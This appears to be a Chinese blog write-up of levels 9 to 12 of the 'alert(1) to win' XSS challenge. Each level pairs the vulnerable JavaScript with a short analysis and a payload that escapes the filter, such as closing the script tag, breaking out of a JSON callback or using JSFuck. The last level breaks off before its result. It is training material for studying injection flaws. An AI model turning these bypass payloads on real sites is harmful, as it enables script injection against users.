【20171027早】alert(1) to win 第9,10,11,12题
人在江湖,不服就干!
第9题:
1 function escape(s) { 2 function htmlEscape(s) { 3 return s.replace(/./g, function(x) { 4 return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; 5 }); 6 } 7 8 function expandTemplate(template, args) { 9 return template.replace( 10 /{(\w+)}/g, 11 function(_, n) { 12 return htmlEscape(args[n]); 13 }); 14 } 15 16 return expandTemplate( 17 " \n\ 18 <h2>Hello, <span id=name></span>!</h2> \n\ 19 <script> \n\ 20 var v = document.getElementById('name'); \n\ 21 v.innerHTML = '<a href=#>{name}</a>'; \n\ 22 <\/script> \n\ 23 ", 24 { name : s } 25 ); 26 }
分析:
对输入中的 < > & " ' 等符合进行了html编码转换,所以无法使用这些字符
TRY:
老黑也是通过看答案才知道的答案,输入 \x3csvg onload=alert(1) 会提示成功,但是我并没有在自己的html页面上重显弹窗,这个payload是用\x3c代替<符号,绕过htmlEscape的替换作用。
第10题:
题目:
1 function escape(s) { 2 s = JSON.stringify(s).replace(/<\/script/gi, ''); 3 4 return '<script>console.log(' + s + ');</script>'; 5 }
分析:
过滤掉<script 字符串,构造过滤后重新合成<script字符串
TRY:
第一次:</</scriptscript><script>alert(1);//
</script被过滤后,自然形成</script><script>alert(1);//,使用//注释掉后边的"),可以实现注入
第11题:
题目:
1 function escape(s) { 2 // Pass inn "callback#userdata" 3 var thing = s.split(/#/); 4 5 if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; 6 var obj = {'userdata': thing[1] }; 7 var json = JSON.stringify(obj).replace(/\//g, '\\/'); 8 return "<script>" + thing[0] + "(" + json +")</script>"; 9 }
分析:
这题简单,用两个单引号令双引号失效,然后写入alert(1),在用<!--注释掉后边的内容,就OK了。
TRY:
payload: '#';alert(1)<!--
第12题:
题目:
1 function escape(s) { 2 if (/[<>]/.test(s)) return '-'; 3 4 return '<script>console.log("' + s.toUpperCase() + '")</script>'; 5 }
分析:
不能输入<>,而且将所有内容都大写化,这题不好注入,所以使用了特殊的js表达方式,JSFuck,制作的网页版工具:点击这里
TRY:
第一次:);alert(1);\\
第二次:转换成JSFuck格式,
得到结果:
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